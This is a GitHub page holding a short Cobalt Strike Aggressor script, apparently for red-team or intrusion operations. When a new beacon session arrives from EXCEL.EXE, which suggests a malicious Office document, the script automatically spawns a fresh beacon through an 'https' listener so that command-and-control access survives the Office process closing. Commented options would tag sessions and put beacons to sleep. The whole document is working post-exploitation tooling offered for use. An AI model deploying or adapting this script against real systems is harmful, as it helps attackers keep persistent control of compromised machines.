-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathinit_spawn.cna
43 lines (34 loc) · 1.38 KB
/
init_spawn.cna
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#=======================================#
# #
# initial beacon spawn script #
# author: karen miller #
# date: may 18, 2022 #
# #
#=======================================#
#=======================================================================#
# #
# usage: load this script into cobalt strike #
# spawns beacon if new session process is in plist #
# #
#=======================================================================#
#=======================================================================#
# #
# notes: add/remove process names in @plist based on use case #
# replace 'https' with the name of listener used for spawning #
# default spawn session process is rundll32.exe #
# spawn session process can be modified in profile (spawnto) #
# #
#=======================================================================#
on beacon_initial {
# uncomment the line below to automatically set beacon note to connection time
# bnote($1,"ESTABLISHED: " . formatDate('MM/dd/yyyy HH:mm'));
# get process name for new session
$pname = beacon_data($1) ["process"];
@plist = @("EXCEL.EXE");
# if session process matches any process names in plist, spawn a new session
if (iff($pname in @plist,true,false)) {
bspawn($1, "https");
}
# uncomment the line below to automatically sleep ALL incoming beacons (e.g., overnight)
# bsleep($1, 60 * 60, 20);
}